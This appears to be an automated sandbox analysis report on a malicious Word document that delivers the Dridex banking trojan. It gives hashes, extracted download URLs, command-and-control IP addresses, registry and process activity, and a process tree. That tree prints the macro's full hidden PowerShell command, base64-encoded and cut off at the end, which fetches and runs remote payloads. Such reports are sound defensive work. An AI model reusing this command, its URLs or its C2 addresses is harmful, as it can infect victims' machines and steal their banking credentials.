Analysis
-
max time kernel
145s -
max time network
147s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
19-11-2020 15:03
Static task
static1
Behavioral task
behavioral1
Sample
Documentation.478396766.doc
Resource
win7v20201028
General
-
Target
Documentation.478396766.doc
-
Size
116KB
-
MD5
e12004b1f374e47e4e63797096854321
-
SHA1
b3c2d856499174992dc5c13738991875bc9cc08c
-
SHA256
8921b2421d4fde9e229bdda0da89a5bd10023a9f9d2529f2fb2da9c5e1a060c6
-
SHA512
4e40379df93194528cb7de413861b0b1416b5d2adc6232b2cf101e18fba06843e481101f3ef651590e06a140348ace0a321b1a0639f389b5a93298d55c21c3c2
Malware Config
Extracted
http://veva.vn/zntk070.png
http://hardmed-eg.com/o76nxa.png
http://islamabout.com/ga140h7l.zip
http://ferretec.com/c2eivsswg.rar
http://rasadbar.ir/t6yswb.pdf
http://seniorcarecompass.inifaresworkshops.com/vr6ebzold.png
Extracted
dridex
10555
162.241.44.26:9443
192.232.229.53:4443
77.220.64.34:443
193.90.12.121:3098
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1064 1656 cmd.exe -
Processes:
resource yara_rule behavioral1/memory/1644-20-0x00000000003F0000-0x000000000042D000-memory.dmp dridex_ldr -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1088 powershell.exe 8 1644 rundll32.exe 10 1644 rundll32.exe 11 1644 rundll32.exe 12 1644 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1644 rundll32.exe 1644 rundll32.exe 1644 rundll32.exe 1644 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C50418F9-E8B9-49FA-ACDD-70323D0E7DD6}\2.0\HELPDIR WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib\{C50418F9-E8B9-49FA-ACDD-70323D0E7DD6}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib\{C50418F9-E8B9-49FA-ACDD-70323D0E7DD6}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C50418F9-E8B9-49FA-ACDD-70323D0E7DD6}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1688 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1088 powershell.exe 1088 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1088 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1688 WINWORD.EXE 1688 WINWORD.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exeWINWORD.EXEpowershell.exerundll32.exedescription pid process target process PID 1064 wrote to memory of 1496 1064 cmd.exe msg.exe PID 1064 wrote to memory of 1496 1064 cmd.exe msg.exe PID 1064 wrote to memory of 1496 1064 cmd.exe msg.exe PID 1064 wrote to memory of 1088 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 1088 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 1088 1064 cmd.exe powershell.exe PID 1688 wrote to memory of 1416 1688 WINWORD.EXE splwow64.exe PID 1688 wrote to memory of 1416 1688 WINWORD.EXE splwow64.exe PID 1688 wrote to memory of 1416 1688 WINWORD.EXE splwow64.exe PID 1688 wrote to memory of 1416 1688 WINWORD.EXE splwow64.exe PID 1088 wrote to memory of 1772 1088 powershell.exe rundll32.exe PID 1088 wrote to memory of 1772 1088 powershell.exe rundll32.exe PID 1088 wrote to memory of 1772 1088 powershell.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe PID 1772 wrote to memory of 1644 1772 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Documentation.478396766.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKw